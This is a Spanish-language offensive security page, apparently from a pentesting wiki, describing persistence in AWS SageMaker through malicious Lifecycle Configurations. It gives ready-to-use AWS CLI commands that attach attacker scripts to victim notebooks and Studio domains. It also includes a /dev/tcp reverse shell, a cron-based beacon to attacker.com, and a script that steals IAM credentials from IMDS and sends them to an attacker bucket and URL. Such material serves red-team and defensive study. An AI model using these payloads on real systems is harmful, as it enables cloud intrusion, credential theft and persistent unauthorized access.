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# AWS - SageMaker Lifecycle Configuration Persistence
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## Overview of Persistence Techniques
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Esta sección describe métodos para obtener persistencia en SageMaker abusando de las Configuraciones de Ciclo de Vida (LCCs), incluyendo shells inversos, trabajos cron, robo de credenciales a través de IMDS y puertas traseras SSH. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir a través de reinicios. La mayoría de las técnicas requieren acceso a la red saliente, pero el uso de servicios en el plano de control de AWS aún puede permitir el éxito si el entorno está en modo 'VPC-only'.
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#### Nota: Las instancias de cuadernos de SageMaker son esencialmente instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de aprendizaje automático.
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## Required Permissions
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* Notebook Instances:
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```
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sagemaker:CreateNotebookInstanceLifecycleConfig
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sagemaker:UpdateNotebookInstanceLifecycleConfig
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sagemaker:CreateNotebookInstance
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sagemaker:UpdateNotebookInstance
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```
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* Aplicaciones de Studio:
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```
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sagemaker:CreateStudioLifecycleConfig
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sagemaker:UpdateStudioLifecycleConfig
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sagemaker:UpdateUserProfile
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sagemaker:UpdateSpace
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sagemaker:UpdateDomain
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```
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## Configurar la Configuración del Ciclo de Vida en Instancias de Notebook
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### Ejemplo de Comandos de AWS CLI:
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```bash
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# Create Lifecycle Configuration*
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aws sagemaker create-notebook-instance-lifecycle-config \
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--notebook-instance-lifecycle-config-name attacker-lcc \
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--on-start Content=$(base64 -w0 reverse_shell.sh)
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# Attach Lifecycle Configuration to Notebook Instance*
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aws sagemaker update-notebook-instance \
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--notebook-instance-name victim-instance \
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--lifecycle-config-name attacker-lcc
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```
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## Configuración del Ciclo de Vida en SageMaker Studio
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Las Configuraciones del Ciclo de Vida se pueden adjuntar a varios niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
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### Nivel de Dominio de Studio (Todos los Usuarios)
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```bash
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# Create Studio Lifecycle Configuration*
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-studio-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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# Apply LCC to entire Studio Domain*
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aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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### Nivel de Espacio de Estudio (Espacios Individuales o Compartidos)
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```bash
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# Update SageMaker Studio Space to attach LCC*
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aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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## Tipos de Configuraciones del Ciclo de Vida de la Aplicación de Studio
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Las configuraciones del ciclo de vida se pueden aplicar específicamente a diferentes tipos de aplicaciones de SageMaker Studio:
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* JupyterServer: Ejecuta scripts durante el inicio del servidor Jupyter, ideal para mecanismos de persistencia como shells inversos y trabajos cron.
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* KernelGateway: Se ejecuta durante el lanzamiento de la aplicación del gateway de kernel, útil para la configuración inicial o el acceso persistente.
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* CodeEditor: Se aplica al Editor de Código (Code-OSS), habilitando scripts que se ejecutan al inicio de las sesiones de edición de código.
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### Comando de Ejemplo para Cada Tipo:
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### JupyterServer
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-jupyter-lcc \
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||||
--studio-lifecycle-config-app-type JupyterServer \
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||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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```
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### KernelGateway
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-kernelgateway-lcc \
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||||
--studio-lifecycle-config-app-type KernelGateway \
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||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
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```
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### CodeEditor
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-codeeditor-lcc \
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||||
--studio-lifecycle-config-app-type CodeEditor \
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--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
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```
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### Información Crítica:
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* Adjuntar LCCs a nivel de dominio o espacio impacta a todos los usuarios o aplicaciones dentro del alcance.
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* Requiere permisos más altos (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que típicamente son más factibles a nivel de espacio que a nivel de dominio.
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* Controles a nivel de red (por ejemplo, filtrado de salida estricto) pueden prevenir shells reversos exitosos o exfiltración de datos.
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## Shell Reverso a través de Configuración de Ciclo de Vida
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Las Configuraciones de Ciclo de Vida de SageMaker (LCCs) ejecutan scripts personalizados cuando las instancias de notebook se inician. Un atacante con permisos puede establecer un shell reverso persistente.
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### Ejemplo de Payload:
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```
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#!/bin/bash
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ATTACKER_IP="<ATTACKER_IP>"
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ATTACKER_PORT="<ATTACKER_PORT>"
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nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
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```
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## Persistencia de Cron Job a través de la Configuración del Ciclo de Vida
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Un atacante puede inyectar trabajos cron a través de scripts de LCC, asegurando la ejecución periódica de scripts o comandos maliciosos, lo que permite una persistencia sigilosa.
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### Ejemplo de Payload:
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```
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#!/bin/bash
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PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
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CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
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CRON_JOB="*/30 * * * * $CRON_CMD"
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mkdir -p /home/ec2-user/SageMaker/.local_tasks
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echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
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chmod +x $PAYLOAD_PATH
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(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
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```
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## Exfiltración de Credenciales a través de IMDS (v1 y v2)
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Las configuraciones de ciclo de vida pueden consultar el Servicio de Metadatos de Instancia (IMDS) para recuperar credenciales de IAM y exfiltrarlas a una ubicación controlada por el atacante.
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### Ejemplo de Payload:
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```bash
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#!/bin/bash
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ATTACKER_BUCKET="s3://attacker-controlled-bucket"
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TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
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ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
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curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
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# Exfiltrate via S3*
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aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
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# Alternatively, exfiltrate via HTTP POST*
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curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
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